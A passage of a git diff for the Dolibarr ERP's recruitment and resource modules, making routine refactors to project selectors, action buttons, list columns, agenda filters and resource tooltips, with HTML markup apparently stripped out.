      '; + $morehtmlref.= $object->getFullName('', 1); /* // Ref customer $morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); @@ -122,7 +123,7 @@ if ($id > 0 || !empty($ref)) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { diff --git a/htdocs/recruitment/recruitmentjobposition_agenda.php b/htdocs/recruitment/recruitmentjobposition_agenda.php index f2f4d37484b..cacee2fd82c 100644 --- a/htdocs/recruitment/recruitmentjobposition_agenda.php +++ b/htdocs/recruitment/recruitmentjobposition_agenda.php @@ -40,6 +40,7 @@ $ref = GETPOST('ref', 'alpha'); $action = GETPOST('action', 'aZ09'); $cancel = GETPOST('cancel', 'aZ09'); $backtopage = GETPOST('backtopage', 'alpha'); +$contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : str_replace('_', '', basename(dirname(__FILE__)).basename(__FILE__, '.php')); // To manage different context of search if (GETPOST('actioncode', 'array')) { $actioncode = GETPOST('actioncode', 'array', 3); @@ -47,8 +48,9 @@ if (GETPOST('actioncode', 'array')) { $actioncode = '0'; } } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; @@ -79,7 +81,7 @@ $extrafields->fetch_name_optionals_label($object->table_element); // Load object include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once // Must be include, not include_once. Include fetch and fetch_thirdparty but not fetch_optionals if ($id > 0 || !empty($ref)) { - $upload_dir = $conf->recruitment->multidir_output[$object->entity]."/".$object->id; + $upload_dir = $conf->recruitment->multidir_output[!empty($object->entity) ? $object->entity : $conf->entity]."/".$object->id; } $permissiontoadd = $user->rights->recruitment->recruitmentjobposition->write; // Used by the include of actions_addupdatedelete.inc.php @@ -163,11 +165,11 @@ if ($object->id > 0) { $morehtmlref .= '
      '; $morehtmlref .= ''; $morehtmlref .= ''; - $morehtmlref .= $formproject->select_projects($object->socid, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); + $morehtmlref .= $formproject->select_projects($object->socid, $object->fk_project, 'projectid', 0, 0, 1, 0, 1, 0, 0, '', 1); $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, 0, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { @@ -208,7 +210,7 @@ if ($object->id > 0) { if (get_class($objthirdparty) == 'Societe') { $out .= '&socid='.$objthirdparty->id; } - $out .= (!empty($objcon->id) ? '&contactid='.$objcon->id : '').'&backtopage=1&percentage=-1'; + $out .= (!empty($objcon->id) ? '&contactid='.$objcon->id : '').'&backtopage=1'; //$out.=$langs->trans("AddAnAction").' '; //$out.=img_picto($langs->trans("AddAnAction"),'filenew'); //$out.=""; @@ -218,7 +220,7 @@ if ($object->id > 0) { print '
      '; if (isModEnabled('agenda')) { - if (!empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create)) { + if (!empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create')) { print ''.$langs->trans("AddAction").''; } else { print ''.$langs->trans("AddAction").''; @@ -228,7 +230,7 @@ if ($object->id > 0) { print '
      '; if (isModEnabled('agenda') && (!empty($user->rights->agenda->myactions->read) || !empty($user->rights->agenda->allactions->read))) { - $param = '&id='.$object->id.'&socid='.$socid; + $param = '&id='.$object->id; if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -242,6 +244,7 @@ if ($object->id > 0) { // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; // TODO Replace this with same code than into list.php show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder, 'recruitment'); diff --git a/htdocs/recruitment/recruitmentjobposition_applications.php b/htdocs/recruitment/recruitmentjobposition_applications.php index 3cdca44c93e..0447ace7979 100644 --- a/htdocs/recruitment/recruitmentjobposition_applications.php +++ b/htdocs/recruitment/recruitmentjobposition_applications.php @@ -239,7 +239,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { diff --git a/htdocs/recruitment/recruitmentjobposition_card.php b/htdocs/recruitment/recruitmentjobposition_card.php index be1b9eec084..3555a75d030 100644 --- a/htdocs/recruitment/recruitmentjobposition_card.php +++ b/htdocs/recruitment/recruitmentjobposition_card.php @@ -108,7 +108,7 @@ if (empty($reshook)) { if (empty($id) && (($action != 'add' && $action != 'create') || $cancel)) { $backtopage = $backurlforlist; } else { - $backtopage = dol_buildpath('/recruitment/recruitmentjobposition_card.php', 1).'?id='.($id > 0 ? $id : '__ID__'); + $backtopage = dol_buildpath('/recruitment/recruitmentjobposition_card.php', 1).'?id='.((!empty($id) && $id > 0) ? $id : '__ID__'); } } } @@ -130,7 +130,7 @@ if (empty($reshook)) { include DOL_DOCUMENT_ROOT.'/core/actions_builddoc.inc.php'; if ($action == 'set_thirdparty' && $permissiontoadd) { - $object->setValueFrom('fk_soc', GETPOST('fk_soc', 'int'), '', '', 'date', '', $user, 'RECRUITMENTJOBPOSITION_MODIFY'); + $object->setValueFrom('fk_soc', GETPOST('fk_soc', 'int'), '', '', 'date', '', $user, $triggermodname); } if ($action == 'classin' && $permissiontoadd) { $object->setProject(GETPOST('projectid', 'int')); @@ -257,8 +257,6 @@ if (($id || $ref) && $action == 'edit') { // Part to show record if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'create'))) { - $res = $object->fetch_optionals(); - $head = recruitmentjobpositionPrepareHead($object); print dol_get_fiche_head($head, 'card', $langs->trans("RecruitmentJobPosition"), -1, $object->picto); @@ -291,7 +289,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea require_once DOL_DOCUMENT_ROOT.'/core/class/notify.class.php'; $notify = new Notify($db); $formquestion = array_merge($formquestion, array( - array('type' => 'onecolumn', 'value' => $notify->confirmMessage('PROPAL_CLOSE_SIGNED', $object->socid, $object)), + array('type' => 'onecolumn', 'value' => $notify->confirmMessage('RECRUITMENTJOBPOSITION_CLOSE_SIGNED', $object->socid, $object)), )); }*/ @@ -341,7 +339,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, !empty($object->socid) ? $object->socid : 0, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, !empty($object->socid) ? $object->socid : 0, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { @@ -395,31 +393,27 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea if (empty($reshook)) { // Send if (empty($user->socid)) { - print ''.$langs->trans('SendMail').''."\n"; + print dolGetButtonAction('', $langs->trans('SendMail'), 'default', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=presend&mode=init&token='.newToken().'#formmailbeforetitle'); } // Back to draft if ($object->status == $object::STATUS_VALIDATED) { if ($permissiontoadd) { - print ''.$langs->trans("SetToDraft").''; + print dolGetButtonAction('', $langs->trans('SetToDraft'), 'default', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=confirm_setdraft&confirm=yes&token='.newToken(), '', $permissiontoadd); } } // Modify - if ($permissiontoadd) { - print ''.$langs->trans("Modify").''."\n"; - } else { - print ''.$langs->trans('Modify').''."\n"; - } + print dolGetButtonAction('', $langs->trans('Modify'), 'default', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=edit&token='.newToken(), '', $permissiontoadd); // Validate if ($object->status == $object::STATUS_DRAFT) { if ($permissiontoadd) { if (empty($object->table_element_line) || (is_array($object->lines) && count($object->lines) > 0)) { - print ''.$langs->trans("Validate").''; + print dolGetButtonAction('', $langs->trans('Validate'), 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=confirm_validate&confirm=yes&token='.newToken(), '', $permissiontoadd); } else { $langs->load("errors"); - print ''.$langs->trans("Validate").''; + print dolGetButtonAction($langs->trans("ErrorAddAtLeastOneLineFirst"), $langs->trans("Validate"), 'default', '#', '', 0); } } } @@ -442,9 +436,10 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea /* if ($permissiontoadd) { if ($object->status == $object::STATUS_ENABLED) { - print ''.$langs->trans("Disable").''."\n"; + print dolGetButtonAction('', $langs->trans('Disable'), 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=disable&token='.newToken(), '', $permissiontoadd); } else { - print ''.$langs->trans("Enable").''."\n"; + print dolGetButtonAction('', $langs->trans('Enable'), 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=enable&token='.newToken(), '', $permissiontoadd); + } } }*/ if ($permissiontoadd) { @@ -454,7 +449,8 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea } // Delete - print dolGetButtonAction($langs->trans("Delete"), '', 'delete', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=delete&token='.newToken(), 'delete', $permissiontodelete); + $params = array(); + print dolGetButtonAction($langs->trans("Delete"), '', 'delete', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=delete&token='.newToken(), 'delete', $permissiontodelete, $params); } print '
      '."\n"; } diff --git a/htdocs/recruitment/recruitmentjobposition_document.php b/htdocs/recruitment/recruitmentjobposition_document.php index a162f4c3af7..55c8785073a 100644 --- a/htdocs/recruitment/recruitmentjobposition_document.php +++ b/htdocs/recruitment/recruitmentjobposition_document.php @@ -148,7 +148,7 @@ if ($object->id) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, !empty($object->socid) ? $object->socid : 0, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, !empty($object->socid) ? $object->socid : 0, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { diff --git a/htdocs/recruitment/recruitmentjobposition_list.php b/htdocs/recruitment/recruitmentjobposition_list.php index b2edac8dd4d..fe2d2a5d612 100644 --- a/htdocs/recruitment/recruitmentjobposition_list.php +++ b/htdocs/recruitment/recruitmentjobposition_list.php @@ -213,7 +213,7 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); $sql .= ", COUNT(rc.rowid) as nbapplications"; $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; @@ -446,7 +446,7 @@ if (!empty($moreforfilter)) { } $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')); // This also change content of $arrayfields $selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table @@ -456,6 +456,13 @@ print '
      '; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; $searchpicto = $form->showFilterButtons('left'); print $searchpicto; print ''; + print ''; if (!empty($val['arrayofkeyval']) && is_array($val['arrayofkeyval'])) { - print $form->selectarray('search_'.$key, $val['arrayofkeyval'], (isset($search[$key]) ? $search[$key] : ''), $val['notnull'], 0, 0, '', 1, 0, 0, '', 'maxwidth100', 1); + print $form->selectarray('search_'.$key, $val['arrayofkeyval'], (isset($search[$key]) ? $search[$key] : ''), $val['notnull'], 0, 0, '', 1, 0, 0, '', 'maxwidth100'.($key == 'status' ? ' search_status width100 onrightofpage' : ''), 1); } elseif ((strpos($val['type'], 'integer:') === 0) || (strpos($val['type'], 'sellist:') === 0)) { print $object->showInputField($val, $key, (isset($search[$key]) ? $search[$key] : ''), '', '', 'search_', $cssforfield.' maxwidth250', 1); } elseif (preg_match('/^(date|timestamp|datetime)/', $val['type'])) { @@ -652,11 +663,11 @@ include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; // Fields from hook $parameters = array('arrayfields'=>$arrayfields); -$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; $searchpicto = $form->showFilterButtons(); print $searchpicto; print '
      '; - print '
      '; + print '
      '; + } + $recuitment = new RecruitmentJobPosition($db); + $recuitment->fetch($obj->fk_recruitmentjobposition); + $object->fk_recruitmentjobposition = $recuitment->getNomUrl(); + $object->phone = $obj->phone; + if ($massactionbutton || $massaction) { + $selected = 0; } // Output Kanban print $object->getKanbanView(''); @@ -746,7 +765,7 @@ while ($i < $imaxinloop) { $j = 0; print '
      '; if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined $selected = 0; @@ -756,6 +775,9 @@ while ($i < $imaxinloop) { print ''; } print ''; if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined $selected = 0; @@ -824,9 +846,9 @@ while ($i < $imaxinloop) { print ''; } print '
      '; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if ($key == 'status') { @@ -501,10 +508,12 @@ if (!empty($arrayfields['nbapplications']['checked'])) { print ''; } // Action column -print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} print ''."\n"; $totalarray = array(); @@ -513,6 +522,10 @@ $totalarray['nbfield'] = 0; // Fields title label // -------------------------------------------------------------------- print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +} foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if ($key == 'status') { @@ -540,7 +553,9 @@ if (!empty($arrayfields['nbapplications']['checked'])) { $totalarray['nbfield']++; } // Action column -print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +} $totalarray['nbfield']++; print ''."\n"; @@ -570,11 +585,16 @@ while ($i < $imaxinloop) { // Store properties in $object $object->setVarsFromFetchObj($obj); + $object->date_planned = $obj->date_planned; + if ($mode == 'kanban') { if ($i == 0) { print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + } foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { @@ -642,15 +674,17 @@ while ($i < $imaxinloop) { print ''; } // Action column - print ''; } - print ''; if (!$i) { $totalarray['nbfield']++; } diff --git a/htdocs/recruitment/recruitmentjobposition_note.php b/htdocs/recruitment/recruitmentjobposition_note.php index 5dc4004a361..d4eb1f05615 100644 --- a/htdocs/recruitment/recruitmentjobposition_note.php +++ b/htdocs/recruitment/recruitmentjobposition_note.php @@ -125,7 +125,7 @@ if ($id > 0 || !empty($ref)) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, !empty($object->socid) ? $object->socid : 0, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, !empty($object->socid) ? $object->socid : 0, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { diff --git a/htdocs/resource/agenda.php b/htdocs/resource/agenda.php index 8fddadcce11..b9c4090aedd 100644 --- a/htdocs/resource/agenda.php +++ b/htdocs/resource/agenda.php @@ -31,6 +31,7 @@ // Load Dolibarr environment require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/resource.lib.php'; require_once DOL_DOCUMENT_ROOT.'/resource/class/dolresource.class.php'; @@ -51,9 +52,10 @@ if (GETPOST('actioncode', 'array')) { $actioncode = '0'; } } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; @@ -166,7 +168,7 @@ if ($object->id > 0) { print dol_get_fiche_end(); if (isModEnabled('agenda') && (!empty($user->rights->agenda->myactions->read) || !empty($user->rights->agenda->allactions->read))) { - $param = '&id='.$object->id.'&socid='.$socid; + $param = '&id='.$object->id; if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -174,11 +176,12 @@ if ($object->id > 0) { $param .= '&limit='.urlencode($limit); } - print_barre_liste($langs->trans("ActionsOnResource"), 0, $_SERVER["PHP_SELF"], '', $sortfield, $sortorder, '', 0, -1, '', 0, $morehtmlcenter, '', 0, 1, 1); + print_barre_liste($langs->trans("ActionsOnResource"), 0, $_SERVER["PHP_SELF"], '', $sortfield, $sortorder, '', 0, -1, '', '', '', '', 0, 1, 1); // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; // TODO Replace this with same code than into list.php show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder); diff --git a/htdocs/resource/card.php b/htdocs/resource/card.php index 1816528b854..3ee118d06c7 100644 --- a/htdocs/resource/card.php +++ b/htdocs/resource/card.php @@ -50,7 +50,6 @@ if ($user->socid > 0) { } $object = new Dolresource($db); - $extrafields = new ExtraFields($db); // fetch optionals attributes and labels @@ -226,7 +225,7 @@ if ($action == 'create' || $object->fetch($id, $ref) > 0) { // Type print ''; print ''; // Description @@ -246,7 +245,7 @@ if ($action == 'create' || $object->fetch($id, $ref) > 0) { print ''; // Other attributes - $parameters = array('objectsrc' => $objectsrc); + $parameters = array(); $reshook = $hookmanager->executeHooks('formObjectOptions', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; if (empty($reshook)) { diff --git a/htdocs/resource/class/dolresource.class.php b/htdocs/resource/class/dolresource.class.php index 3e1a2615cd9..578594538cb 100644 --- a/htdocs/resource/class/dolresource.class.php +++ b/htdocs/resource/class/dolresource.class.php @@ -44,21 +44,42 @@ class Dolresource extends CommonObject */ public $picto = 'resource'; + + /** + * @var int ID + */ + public $fk_code_type_resource; + + public $type_label; + + /** + * @var string description + */ + public $description; + + public $fk_country; + + + // Variable for a link of resource + + /** + * @var int ID + */ public $resource_id; public $resource_type; public $element_id; public $element_type; public $busy; public $mandatory; - /** * @var int ID */ public $fk_user_create; - - public $type_label; public $tms = ''; + /** + * @var array Cache of type of resources. TODO Use $conf->cache['type_of_resources'] instead + */ public $cache_code_type_resource = array(); /** @@ -66,6 +87,7 @@ class Dolresource extends CommonObject */ public $oldcopy; + /** * Constructor * @@ -273,7 +295,7 @@ class Dolresource extends CommonObject $sql .= " description=".(isset($this->description) ? "'".$this->db->escape($this->description)."'" : "null").","; $sql .= " fk_country=".($this->country_id > 0 ? $this->country_id : "null").","; $sql .= " fk_code_type_resource=".(isset($this->fk_code_type_resource) ? "'".$this->db->escape($this->fk_code_type_resource)."'" : "null").","; - $sql .= " tms=".(dol_strlen($this->tms) != 0 ? "'".$this->db->idate($this->tms)."'" : 'null').""; + $sql .= " tms=".(dol_strlen($this->tms) != 0 ? "'".$this->db->idate($this->tms)."'" : 'null'); $sql .= " WHERE rowid=".((int) $this->id); $this->db->begin(); @@ -339,10 +361,10 @@ class Dolresource extends CommonObject // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps /** - * Load object in memory from database + * Load data of link in memory from database * - * @param int $id id object - * @return int <0 if KO, >0 if OK + * @param int $id Id of link element_resources + * @return int <0 if KO, >0 if OK */ public function fetch_element_resource($id) { @@ -600,7 +622,7 @@ class Dolresource extends CommonObject $sql .= " element_type=".(isset($this->element_type) ? "'".$this->db->escape($this->element_type)."'" : "null").","; $sql .= " busy=".(isset($this->busy) ? $this->busy : "null").","; $sql .= " mandatory=".(isset($this->mandatory) ? $this->mandatory : "null").","; - $sql .= " tms=".(dol_strlen($this->tms) != 0 ? "'".$this->db->idate($this->tms)."'" : 'null').""; + $sql .= " tms=".(dol_strlen($this->tms) != 0 ? "'".$this->db->idate($this->tms)."'" : 'null'); $sql .= " WHERE rowid=".((int) $this->id); @@ -742,6 +764,33 @@ class Dolresource extends CommonObject } } + /** + * getTooltipContentArray + * + * @param array $params ex option, infologin + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs; + + $langs->load('resource'); + + $datas = []; + + $datas['picto'] = img_picto('', $this->picto).' '.$langs->trans("Resource").''; + $datas['ref'] = '
      '.$langs->trans('Ref').': '.$this->ref; + /*if (isset($this->status)) { + $datas['status'] = '
      ' . $langs->trans("Status").": ".$this->getLibStatut(5); + }*/ + if (isset($this->type_label)) { + $datas['label'] = '
      '.$langs->trans("ResourceType").": ".$this->type_label; + } + + return $datas; + } + /** * Return clicable link of object (with eventually picto) * @@ -758,14 +807,18 @@ class Dolresource extends CommonObject global $conf, $langs, $hookmanager; $result = ''; - $label = img_picto('', $this->picto).' '.$langs->trans("Resource").''; - $label .= '
      '; - $label .= ''.$langs->trans('Ref').': '.$this->ref; - /*if (isset($this->status)) { - $label.= '
      ' . $langs->trans("Status").": ".$this->getLibStatut(5); - }*/ - if (isset($this->type_label)) { - $label .= '
      '.$langs->trans("ResourceType").": ".$this->type_label; + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + ]; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); } $url = DOL_URL_ROOT.'/resource/card.php?id='.$this->id; @@ -787,8 +840,8 @@ class Dolresource extends CommonObject $label = $langs->trans("ShowMyObject"); $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; - $linkclose .= ' class="classfortooltip'.($morecss ? ' '.$morecss : '').'"'; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.($morecss ? ' '.$morecss : '').'"'; } else { $linkclose = ($morecss ? ' class="'.$morecss.'"' : ''); } @@ -801,7 +854,7 @@ class Dolresource extends CommonObject $result .= $linkstart; if ($withpicto) { - $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : $dataparams.' class="'.(($withpicto != 2) ? 'paddingright ' : '').$classfortooltip.'"'), 0, 0, $notooltip ? 0 : 1); } if ($withpicto != 2) { $result .= $this->ref; diff --git a/htdocs/resource/class/html.formresource.class.php b/htdocs/resource/class/html.formresource.class.php index 8b4e32c05d2..5f8c27dab4f 100644 --- a/htdocs/resource/class/html.formresource.class.php +++ b/htdocs/resource/class/html.formresource.class.php @@ -77,7 +77,7 @@ class FormResource * @param int $limit Limit number of answers * @param string $morecss More css * @param bool $multiple add [] in the name of element and add 'multiple' attribut - * @return string HTML string with + * @return string|array HTML string with */ public function select_resource_list($selected = '', $htmlname = 'fk_resource', $filter = '', $showempty = 0, $showtype = 0, $forcecombo = 0, $event = array(), $filterkey = '', $outputmode = 0, $limit = 20, $morecss = '', $multiple = false) { diff --git a/htdocs/resource/contact.php b/htdocs/resource/contact.php index 45e4ce4b329..3b032fffb94 100644 --- a/htdocs/resource/contact.php +++ b/htdocs/resource/contact.php @@ -114,10 +114,6 @@ llxHeader('', $langs->trans("Resource")); // View and edit mode if ($id > 0 || !empty($ref)) { - $soc = new Societe($db); - $soc->fetch($object->socid); - - $head = resource_prepare_head($object); print dol_get_fiche_head($head, 'contact', $langs->trans("ResourceSingular"), -1, 'resource'); diff --git a/htdocs/resource/element_resource.php b/htdocs/resource/element_resource.php index eedfcc06245..878ae857ac0 100644 --- a/htdocs/resource/element_resource.php +++ b/htdocs/resource/element_resource.php @@ -372,7 +372,7 @@ if (!$ret) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); @@ -523,6 +523,8 @@ if (!$ret) { $fichinter->fetch($element_id, $element_ref); $fichinter->fetch_thirdparty(); + $usercancreate = $user->hasRight('fichinter', 'creer'); + if (is_object($fichinter)) { $head = fichinter_prepare_head($fichinter); print dol_get_fiche_head($head, 'resource', $langs->trans("InterventionCard"), -1, 'intervention'); @@ -533,40 +535,30 @@ if (!$ret) { $morehtmlref = '
